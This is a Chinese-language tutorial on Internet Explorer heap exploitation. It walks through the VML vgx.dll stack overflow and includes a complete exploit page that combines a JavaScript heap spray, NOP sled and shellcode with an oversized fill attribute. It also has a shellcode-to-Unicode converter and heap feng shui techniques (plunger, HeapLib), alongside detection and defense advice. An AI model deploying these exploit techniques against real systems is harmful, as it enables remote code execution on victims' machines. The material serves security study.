<v:fill method="ఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌ"/>
</v:rect>
</body> </html>

2. 漏洞调试

  1. 将 Ollydbg 设为默认调试器,将 poc 代码保存为 .html,双击 html 文件,由 IE 浏览器打开后,自动进入 Ollydbg 中调试,说明 IE 浏览器此时已经崩溃

  1. 从中可得到崩溃地址:0x659d7bc6

  2. 在 IDA 中分析 vgx.dll 文件,查看该地址,发现该地址位于 _IE5_SHADETYPE_TEXT::Text 函数中,

  1. 在 IDA 中分析 _IE5_SHADETYPE_TEXT::Text 函数

_IE5_SHADETYPE_TEXT::Text 函数实现:

​ 进入_IE5_SHADETYPE_TEXT::Text函数后,首先将arg:buffer、arg:buff_len复制到新对象的this和this+4处,this+8(copyed_len)初始化为0,之后调用函数_IE5_SHADETYPE_TEXT::TOKENS::Ptok

_IE5_SHADETYPE_TEXT::TOKENS::Ptok函数实现:

​ 将this(src_buff)指向的缓冲区内容复制到以this+c(dst_buff)为起始地址的栈缓冲区中,且没有对src_buff的长度src_len做任何限制,所以当src_buff长度达到208h时,_IE5_SHADETYPE_TEXT::Text的返回地址便会被覆盖

_IE5_SHADETYPE_TEXT::Text函数栈的内存分布:

  1. 崩溃地址处的指令为(mov [eax],edi),eax对应的地址为EBP-4(var_4)。ollydbg中可以看到,崩溃时eax = 0x0C0C0C0C,并且返回地址也被覆盖为0x0C0C0C0C

3. 漏洞成因总结

​ 在_IE5_SHADETYPE_TEXT::Text 函数中调用函数_IE5_SHADETYPE_TEXT::TOKENS::Ptok,该函数中会把前面HTML中的<v:fillmethod=”QQQQ”>中method属性的值这个字符串在未经长度限制的情况下复制到栈中,一旦字符串长度超过 0x208 ,_IE5_SHADETYPE_TEXT::Text的返回地址便会被覆盖,造成栈溢出

5.3.5 漏洞利用

1. EXP 代码

<html xmlns:v="urn:schemas-microsoft-com:vml">

    <head>
<title>
failwest
</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode = "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop = "\u9090\u9090";
while (nop.length <= 0x100000 / 2) {
nop += nop;
} nop = nop.substring(0, 0x100000 / 2 - 32 / 2 - 4 / 2 - shellcode.length - 2 / 2);
var slide = new Array();
for (var i = 0; i < 200; i++) {
slide[i] = nop + shellcode;
}
</script> <body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="ఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌఌ"
/>
</v:rect>
</body> </html>

2. EXP 分析

  1. 在页面中使用 JavaScript,连续申请 200 块大小为 1MB 的内存空间。每个内存块都以 0x90 填充,并在内存块的末尾部署 shellcode
  2. JavaScript 的内存申请从内存低址 0x00000000 向内存高址分配,200MB(0x0C800000) 的内存申请意味着内存地址 0x0c0c0c0c 将被申请的内存块覆盖
  3. 用足够多的 0x0c 字节填充缓冲区,确保返回地址被覆盖为 0x0c0c0c0c
  4. 函数返回后,会跳去堆区的地址 0x0c0c0c0c 取指执行,恰好遇到我们申请的其中一块 堆内存。顺序执行完大量的 nop 指令之后,CPU 将最终将执行 shellcode

确定 shellcode

​ JavaScript 以 Unicode 形式识别字符串,例 如,前边输入的 ASCII 字符“QQQQ”放入栈中后都将被扩展为 Unicode。因此要将平时 使用 C 语言形式的 shellcode 转换为 JavaScript 所能够识别的 Unicode 格式

使用如下这段程序即可完成转换:

​ 如下代码把弹出消息框并显示“failwest”的 shellcode 转换成 Unicode 形式,并导出到同 目录下的 unicode_shellcode.txt 文件中

#include <stdio.h>
FILE * fp=NULL;
void A2U(unsigned char * ascii, int size)
{
int i=0;
unsigned int unicode = 0; for(i=0; i<size; i+=2)//read a unicode
{
unicode = (ascii[i+1] << 8) + ascii[i];
//printf("\\u%0.4x", unicode);
fprintf(fp, "\\u%0.4x", unicode);
}
}
void main(int argc, char **argv)
{
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
if((fp=fopen("unicode_shellcode.txt","w"))==NULL)
exit(0);
A2U(popup_general, strlen(popup_general));
fclose(fp);
}

3. 测试结果

5.4 Heap Spray 的优缺点

优点

  • 增加缓冲区溢出攻击的成功率;
  • 覆盖地址变得更加简单了,可以简单使用类NOP指令来进行覆盖;
  • 它也可以用于堆栈溢出攻击,用slidecode覆盖堆栈返回地址即可;

缺点

  • 会导致被攻击进程的内存占用暴增,容易被察觉
  • 不能用于主动攻击,一般是通过栈溢出利用或者其他漏洞来进行协同攻击;
  • 如果目的地址被shellcode覆盖,则shellcode执行会失败,因此不能保证100%成功

5.5 Heap Spray 的防范和检测

  1. 一般来讲,应用程序的堆分配是很平滑的,分配模式也应该是随机的,或者从理论上来说随机性非常明显,不应该出现内存暴增现象,从已有的一些Heap Spray的代码来看,都会瞬间申请大量内存,从这个特点出发,如果发现应用程序的内存大量增加(设置阈值),立即检测堆上的数据,看是否包含大量的slidecode,如果满足条件则告警提示用户“受到Heap Spray攻击”或者帮助用户结束相关进程。不过这种方式有一个缺点是无法确定攻击源,而优点则是能够检测未知漏洞攻击
  2. 针对特殊的浏览器,将自身监控模块注入浏览器进程中,或者通过BHO让浏览器(IE)主动加载。当浏览器的脚本解释器开始重复申请堆的时候,监控模块可以记录堆的大小、内容和数量,如果这些重复的堆请求到达了一个阀值或者覆盖了指定的地址(譬如几个敏感地址0x0C0C0C0C,0x0D0D0D0D等等),监控模块立即阻止这个脚本执行过程并弹出警告,由于脚本执行被中断,后面的溢出也就无法实现了。这种检测方法非常安静,帮助用户拦截之后也不影响用户继续浏览网页,就好像用户从来没有遇到过此类恶意网页。
  3. 对于一些利用脚本(Javascript Vbscript Actionscript)进行Heap Spray攻击的情况,可以通过hook脚本引擎,分析脚本代码,根据一些Heap Spray常见特征,检测是否受到Heap Spray攻击,如果条件满足,则立即结束脚本解析
  4. 比较好的系统级别防范办法应该是开启DEP,即使被绕过,被利用的概率也大大降低了。

6.堆风水

6.1 简介

​ Windows XP SP2 之后,Windows 平台上的 Heap Corruption 漏洞利用难度越来越高,所以使用一种新技术,通过在 JavaScript 中执行一系列的堆分配和释放操作,精确地控制了浏览器的堆。

6.2 IE 堆

6.2.1 IE 浏览器中分配内存的组件

IE 中负责分配内存任务的主要是以下 3 个组件:

  • MSHTNL.dll:负责管理用于当前显示的页(以及随之而来的 DHTML 操作)中 HTML 元素的内存空间的分配和回收。这个 DLL 在进程默认堆中分配内存空间,并且在当前页面被关闭,或者 HTML 元素析构(destroy)时回收空间。

  • JSCRIPT.DLL 中的 JavaScript 引擎:我们 new 一个 JavaScript 对象时,这个对象将被分配到一个专门的 JavaScript 堆中。string 对象除外,string 对象是被分配到进程默认堆里去的。

    一旦某个对象不再被引用了,垃圾回收机制就会析构这个对象。这个垃圾回收机制会在 2 种情况下被激活,① 在总的内存消耗或者对象的总数超过了某个极限的时候,② 我们显式的调用 CollectGarbage() 函数的时候

  • ActiveX 控制器:这个组件经常会出现堆腐烂的问题。有些 ActiveX 控制器会使用一个专用的堆,但是大多数 ActiveX 控制器则使用进程默认堆

注意

​ 上述三个 IE 组件都是使用同一个进程默认堆的。这也就是说:在 JavaScript 中的一些堆分配动作会直接影响到 MSHTML 和 ActiveX 控制器所使用的堆的状况,而一个 ActiveX 控制器中的堆腐烂 bug 也可以用来覆盖分配给 HTML 元素或者 JavaScript string 对象的内存空间

6.2.2 JavaScript strings

1. String 对象简介

​ 在 JavaScript 引擎中绝大多数的内存分配是使用 MSVCRT 中的 malloc() 和 new() 函数实现的。用这 2 个函数分配的空间都是位于 CRT 初始化时创建的一个专用的堆中的,但除了 JavaScript string 对象。

JavaScript 的 string 对象是以 BSTR string 格式(一种用于 COM 接口的基本 string 类型)存储的,它所需的空间是用 OLEAUT32.DLL 中的 SysAllocString 系列函数分配到进程默认堆中的

2. 分配 String 对象的函数调用栈

JavaScript 中分配一个 string 对象的调用回溯关系:

ChildEBP RetAddr Args to Child
0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac
0013d280 77124c7f 00002000 00000000 0013d2a8 OLEAUT32!APP_DATA::AllocCachedMem+0x4f
0013d290 75c61dd0 00000000 00184350 00000000 OLEAUT32!SysAllocStringByteLen+0x2e
0013d2a8 75caa763 00001ffa 0013d660 00037090 jscript!PvarAllocBstrByteLen+0x2e
0013d31c 75caa810 00037940 00038178 0013d660 jscript!JsStrSubstrCore+0x17a
0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b
0013d374 75c558e1 0013d660 00000002 00038988 jscript!NatFncObj::Call+0x41
0013d408 75c5586e 00037940 00000000 00000003 jscript!NameTbl::InvokeInternal+0x218
0013d434 75c62296 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xd4
0013d478 75c556c5 00037940 0013d498 00000003 jscript!VAR::InvokeByName+0x164
0013d4b8 75c54468 00037940 00000003 0013d660 jscript!VAR::InvokeDispName+0x43
0013d4dc 75c54d1a 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xfb
0013d6d0 75c544fa 0013da80 00000000 0013d7ec jscript!CScriptRuntime::Run+0x18fb

3. String 对象的分配时机

​ 要在堆中分配一个 string 对象,首先要创建一个新的 JavaScript string 对象。但是简单的声明一个新的变量并不会在堆中分配一块空间出来,因为这并不会创建 string 的一份拷贝,要想达到目的,我们需要连接 2 个 string 或者使用 substr() 函数,如下例:

var str1 = "AAAAAAAAAAAAAAAAAAAA"; // doesn't allocate a new string
var str2 = str1.substr(0, 10); // allocates a new 10 character string
var str3 = str1 + str2; // allocates a new 30 character string

4. BSTR string 在内存中的结构

​ BSTR string 在内存中的结构类似于一个结构体,它包括一个 4 字节的大小的域(表示 string 的长度),紧接着 string 的内容(每字符 16-bit),最后以一个 NULL 结尾(16-bit)。如下面所示:

string size | string data 												  | null terminator
4 bytes | length * 2 bytes | 2 bytes
| |
14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 | 00 00

计算公式:

1)在已知 string 长度的情况下计算 string 将要被分配到的内存大小:bytes = len * 2 + 6

2)在已知需要分配内存大小的情况下计算需要一个多长的 string:len = (bytes - 6) / 2

5. 分配任意大小的内存块

​ 可以用 len = (bytes - 6) / 2 这个公式计算出分配我们所需大小的内存块需要的 string 的长度,然后调用 substr()函数来分配空间

举例:

// Build a long string with padding data
padding = "AAAA" while (padding.length < MAX_ALLOCATION_LENGTH)
padding = padding + padding; // Allocate a memory block of a specified size in bytes
function alloc(bytes) {
return padding.substr(0, (bytes - 6) / 2);
}

6.2.3 Garbage collection(垃圾回收机制)

1. 简介

​ 在 JavaScript runtime 中使用一种简单的 mark-and-sweep(标记-清除)的垃圾处理机制来释放已经不被使用的内存空间。

​ 垃圾处理机制可能会被各种不同的条件(比如可能是对象的数量太多了)所触发。mark-and-sweep 算法会标识出 JavaScript runtime 所有已经不被引用了的对象,并且析构这些对象。

​ 当垃圾处理机制析构一个 string 对象的时候, 垃圾处理机制会调用 OLEAUT32.DLL 中的 SysFreeString 函数来释放 string 对象所占的内存空间

2. 垃圾回收机制的函数调用栈

下面给出的是 JavaScript 中实现垃圾回收机制的函数调用的回溯关系:

ChildEBP RetAddr  Args to Child
0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap
0013d338 77124ac8 77606034 001bae28 00000008 ole32!CRetailMalloc_Free+0x1c
0013d358 77124885 00000006 00008000 00037f48 OLEAUT32!APP_DATA::FreeCachedMem+0xa0
0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56
0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb
0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d
0013d3b0 75c60eba 000378b0 00000000 000378a0 jscript!GcAlloc::ReclaimGarbage+0x65
0013d3cc 75c61273 00000002 0013d40c 00037c10 jscript!GcContext::Reclaim+0x98
0013d3e0 75c99a27 75c6212e 00037940 0013d474 jscript!GcContext::Collect+0xa5
0013d3e4 75c6212e 00037940 0013d474 0013d40c jscript!JsCollectGarbage+0x10

3. CollectGarbage()

​ 要释放掉某个 string 对象所占的内存空间,我们首先要删除掉所有对这个 string 对象的引用,然后运行垃圾处理机制。我们可以直接使用 JavaScript 提供的 CollectGarbage()函数,调用这个函数我们就能立即强制垃圾处理机制

举例:

var str;

// 我们需要在函数范围内进行分配和释放操作,否则垃圾回收器不会释放字符串空间
function alloc_str(bytes) {
str = padding.substr(0, (bytes-6)/2);
} function free_str() {
str = null;
CollectGarbage();
} alloc_str(0x10000); // 分配内存块
free_str(); // 释放内存块

6.2.4 OLEAUT32 memory allocator(OLEAUT32 中内存的分配算法)

​ 不是每次我们调用 SysAllocString 函数,都会在堆中新分配一个内存空间供 string 对象使用的。

​ BSTR string 所需空间分配和释放的具体工作是有 OLEAUT32 中的 APP_DATA 类实现的,在这个类中使用了一个很普通的内存分配算法。

1. 堆缓存

​ 堆中使用一个类似于系统的堆内存分配函数(如 HeapAlloc 函数)使用的 Lookaside list 的缓存,被释放的内存满足一定条件时会被释放到这个缓存中(在这个缓存中的内存块实际上并没有被释放掉,也就是不会去执行任何内存块的合并操作),并且会在下一次应用程序申请内存时,优先分配出去。

​ 这个缓存由 4 个项(bins)组成,每个项中都能存放 6 个某一大小范围中的被释放的内存块

2. 释放算法

1)当我们释放一个内存块时,系统首先将要调用 APP_DATA::FreeCachedMem() 函数把这个内存块释放到缓存中相应的项中去

2)如果这个对应项中已经满了(也就是已经有了 6 个内存块),那么这 7 个内存块中最小的一个将会被 HeapFree()函数释放掉

3)然后把新释放的这个块加进来(如果新释放的这个内存块不是 7 个内存块中最小的那一块的话)

4)如果被释放的内存块大于 32767 个字节的话,它就会被直接释放掉,而不会进入缓存

3. 分配算法

1)当应用程序调用 APP_DATA::AllocCachedMem() 函数时,它首先会检查缓存中相应的项中的 6 个内存块,从中找出最符合要求的内存块

2)然后把这个内存块从缓存中释放出来,把它直接返回给应用程序

3)如果没有找到合适的内存块,它就会调用 HeapAlloc() 函数从堆中发配新的内存空间

4. 内存分配器的代码

总结:在我们申请和释放的内存块中只有一部分会调用系统的堆内 存分配函数

// 缓存区中的每一项都有长度变量和指向空闲块的指针
struct CacheEntry
{
unsigned int size;
void* ptr;
} // 这个缓存区包含 4 个 bin,每个 bin 持有 6 个特定大小范围内的内存块
class APP_DATA
{
CacheEntry bin_1_32 [6]; // 1~32 字节的块
CacheEntry bin_33_64 [6]; // 33~64 字节的块
CacheEntry bin_65_256 [6]; // 65~256 字节的块
CacheEntry bin_257_32768[6]; // 257~32768 字节的块 void* AllocCachedMem(unsigned long size); // 分配函数
void FreeCachedMem(void* ptr); // 释放函数
}; //
// 分配内存,重用缓存区中的块
//
void* APP_DATA::AllocCachedMem(unsigned long size)
{
CacheEntry* bin;
int i;
if (g_fDebNoCache == TRUE)
goto system_alloc; // 如果缓存被禁用,使用 HeapAlloc
// 为不同大小的块找到合适的缓存区
if (size > 256)
bin = &this->bin_257_32768;
else if (size > 64)
bin = &this->bin_65_256;
else if (size > 32)
bin = &this->bin_33_64;
else
bin = &this->bin_1_32;
// 遍历 bin 中的所有项
for (i = 0; i < 6; i++) {
// 如果缓存块足够大,本次分配就使用它
if (bin[i].size >= size) {
bin[i].size = 0; // 大小为 0 意味着该内存块已被从缓存中释放
return bin[i].ptr;
}
} system_alloc:
// 用系统内存分配器分配内存
return HeapAlloc(GetProcessHeap(), 0, size);
} //
// 释放块到缓存
//
void APP_DATA::FreeCachedMem(void* ptr)
{
CacheEntry* bin;
CacheEntry* entry;
unsigned int min_size;
int i;
if (g_fDebNoCache == TRUE)
goto system_free; // 如果缓存被禁用,使用 HeapFree // 获取正在释放的块的大小
size = HeapSize(GetProcessHeap(), 0, ptr); // 找到合适的 bin
if (size > 32768)
goto system_free; // 使用 HeapFree 释放大块
else if (size > 256)
bin = &this->bin_257_32768;
else if (size > 64)
bin = &this->bin_65_256;
else if (size > 32)
bin = &this->bin_33_64;
else
bin = &this->bin_1_32; // 遍历 bin 中所有项找到最小项
min_size = size;
entry = NULL;
for (i = 0; i < 6; i++) {
// 如果找到未使用的缓存项,把块放在这儿并返回
if (bin[i].size == 0) {
bin[i].size = size;
bin[i].ptr = ptr; // 空闲块现在在缓存中
return;
}
// 如果我们释放的块已经在缓存中,终止操作
if (bin[i].ptr == ptr)
return;
// 找到最小缓存项
if (bin[i].size < min_size) {
min_size = bin[i].size;
entry = &bin[i];
}
}
// 如果最小缓存项比我们释放的块还小,则用 HeapFree 释放该最小项,并用我们的块替代它的位置
if (min_size < size) {
HeapFree(GetProcessHeap(), 0, entry->ptr);
entry->size = size;
entry->ptr = ptr;
return;
} system_free:
// 用系统内存分配器释放块
return HeapFree(GetProcessHeap(), 0, ptr);
}

6.2.5 绕过 OLEAUT32 的缓存机制

​ 原文中为:Plunger technique,也有人翻译为 “马桶吸技术”

为了确保给每个字符串分配的内存都来自系统堆,我们需要把 APP_DATA 的缓存中 4 个项都清空掉(记第 n 个项可写入的最大内存块的尺寸为 Maxn)。

1. 分配

​ 对于每个 bin,我们需要分配 6 个大小达到最大值的内存块。由于缓存区每个 bin 最多只能保存 6 个内存块,因此这样做之后缓存区中的所有 bin 都是空的。下一个字符串的内存分配一定会调用 HeapAlloc()

2. 释放

​ 当我们释放刚才分配的 string 对象的内存空间时,因为缓存中相应的项已经被清空了,所以它一定会进入缓存中相应的项(第 n 个项),这时我们可以通过再释放 6 个 Maxn 大小的内存块的方式来把我们的 string 对象“挤”出缓存。

​ 这样 string 对象所占的空间就会被 HeapFree() 回收。当然这时,缓存也就被填满了,所以再要分配 6 个 Maxn大小的内存块来清空缓存中这个项

3. 具体实现

注意:为了将一个块推出缓存区并使用 HeapFree() 释放,它的大小必须要比所在 bin 的最大值小,否则,FreeCachedMem 中的 min_size < size 条件不能被满足,从而导致作为马桶吸的内存块被释放。即不能释放大小分别为 32、64、256 和 32768KB 的内存块

plunger = new Array();

// 这个函数将缓存中的所有块冲走使它变空
function flushCache() {
// 释放马桶吸中的所有块来把小块推出
plunger = null;
CollectGarbage();
// 从每个 bin 中分配 6 个最大块,使缓存区变空
plunger = new Array();
for (i = 0; i < 6; i++) {
plunger.push(alloc(32));
plunger.push(alloc(64));
plunger.push(alloc(256));
plunger.push(alloc(32768));
}
}
flushCache(); // 在进行任何分配前清空缓存区 alloc_str(0x200); // 分配字符串空间 free_str(); // 释放字符串空间兵清空缓存
flushCache();

6.3 HeapLib – JavaScript 堆操作的函数库

​ 在一个叫做 HeapLib 的 JavaScript 库中实现了前一节中描述的概念。这个库提供了直接映射到系统内存分配器函数调用上的 alloc() 和 free(),以及一些高级堆控制例程

6.3.1 HeapLib 版 “hello world”

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="heapLib.js">
</script>
</head>
<body>
<script type="text/javascript">
// 重建一个 适用于 IE 的 heaplib 对象
var heap = new heapLib.ie();
heap.gc(); // 在进行任何分配操作前运行垃圾回收器
// 分配 512 字节内存并用 padding 填充
heap.alloc(512);
// 为 "AAAAA" 字符串分配新内存块并标记为 "foo"
heap.alloc("AAAAA", "foo");
// 释放所有标记为 "foo" 的块
heap.free("foo");
</script>
</body>
</html>
</script>

以上代码等价于以下的 c 语言代码:

block1 = HeapAlloc(GetProcessHeap(), 0, 512);
block2 = HeapAlloc(GetProcessHeap(), 0, 16);
HeapFree(GetProcessHeap(), 0, block2);

6.3.2 调试

​ HeapLib 提供了几个函数用以调试,以下为使用这些调试函数的一个简单的例子

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="heapLib.js">
</script>
</head>
<body>
<script type="text/javascript">
// 重建一个 适用于 IE 的 heaplib 对象
var heap = new heapLib.ie();
heap.gc();
// 分配 512 字节内存并用 padding 填充
heap.debug("Hello!"); // 输出一个调试信息
